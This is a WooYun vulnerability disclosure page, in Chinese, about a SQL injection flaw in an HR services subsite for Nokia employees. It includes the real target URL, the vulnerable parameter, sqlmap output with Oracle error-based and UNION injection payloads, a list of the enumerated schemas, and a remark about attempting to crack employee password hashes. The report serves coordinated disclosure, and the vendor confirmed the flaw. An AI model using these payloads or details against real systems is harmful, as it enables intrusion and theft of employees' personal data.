当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088694

漏洞标题:某外企人力资源服务有限公司某分站一处sql注入漏洞(可跨多个数据库)

相关厂商:北京外企人力资源服务有限公司

漏洞作者: Mosuan

提交时间:2014-12-28 22:41

修复时间:2015-02-11 22:42

公开时间:2015-02-11 22:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-28: 细节已通知厂商并且等待厂商处理中
2014-12-30: 厂商已经确认,细节仅向厂商公开
2015-01-09: 细节向核心白帽子及相关领域专家公开
2015-01-19: 细节向普通白帽子公开
2015-01-29: 细节向实习白帽子公开
2015-02-11: 细节向公众公开

简要描述:

这个可能会导致某知名公司员工的身份证号码泄漏、

详细说明:

http://external1.fesco.com.cn/NOKIA/nokiapquery/BBSList.aspx?Flag=1&BBSType=1


这个登陆处可以用员工身份证登录的,具体的我没看,不过md5挺牛逼的,试着破解几个,居然都解密不了。

注入地址:http://external1.fesco.com.cn/NOKIA/nokiapquery/BBSList.aspx?Flag=1&BBS
Type=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 23:08:40
[23:08:40] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\external1.
fesco.com.cn\session' as session file
[23:08:40] [INFO] resuming back-end DBMS 'oracle' from session file
[23:08:41] [INFO] testing connection to the target url
[23:08:41] [INFO] heuristics detected web page charset 'utf-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: BBSType
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: Flag=1&BBSType=1 AND 6996=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||C
HR(119)||CHR(115)||CHR(98)||CHR(58)||(SELECT (CASE WHEN (6996=6996) THEN 1 ELSE
0 END) FROM DUAL)||CHR(58)||CHR(109)||CHR(115)||CHR(97)||CHR(58)||CHR(62))) FROM
DUAL)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: Flag=1&BBSType=-4748 UNION SELECT CHR(58)||CHR(119)||CHR(115)||CHR(
98)||CHR(58)||CHR(84)||CHR(83)||CHR(112)||CHR(67)||CHR(100)||CHR(102)||CHR(89)||
CHR(66)||CHR(104)||CHR(69)||CHR(58)||CHR(109)||CHR(115)||CHR(97)||CHR(58) FROM D
UAL--
---
[23:08:42] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 1.1.4322
back-end DBMS: Oracle
[23:08:42] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[23:08:42] [INFO] fetching database (schema) names
[23:08:42] [INFO] the SQL query used returns 9 entries
[23:08:43] [INFO] retrieved: "APEX_030200"
[23:08:44] [INFO] retrieved: "CTXSYS"
[23:08:44] [INFO] retrieved: "EXFSYS"
[23:08:45] [INFO] retrieved: "LBACSYS"
[23:08:46] [INFO] retrieved: "MDSYS"
[23:08:50] [INFO] retrieved: "NOKIA"
[23:08:50] [INFO] retrieved: "SYS"
[23:08:51] [INFO] retrieved: "SYSTEM"
[23:08:52] [INFO] retrieved: "XDB"
available databases [9]:
[*] APEX_030200
[*] CTXSYS
[*] EXFSYS
[*] LBACSYS
[*] MDSYS
[*] NOKIA
[*] SYS
[*] SYSTEM
[*] XDB
[23:08:52] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\external1.fesco.com.cn'
[*] shutting down at 23:08:52


诺基亚的.jpg


漏洞证明:

修复方案:

过滤下,这个整站都是注入

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-12-30 11:25

厂商回复:

谢谢您的反馈,之前有同学报了这个,我们正在安排人员处理,谢谢。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-12-28 22:55 | Jewer ( 路人 | Rank:6 漏洞数:1 | 我很苦逼。)

    我晕......我路过行么?

  2. 2014-12-28 23:37 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @Jewer @浩天 擦,居然小厂商了,有没有搞错、、、

  3. 2014-12-30 21:19 | Jewer ( 路人 | Rank:6 漏洞数:1 | 我很苦逼。)

    @Mosuan - -估计没有搞错

  4. 2014-12-30 23:26 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @Jewer 大厂商的....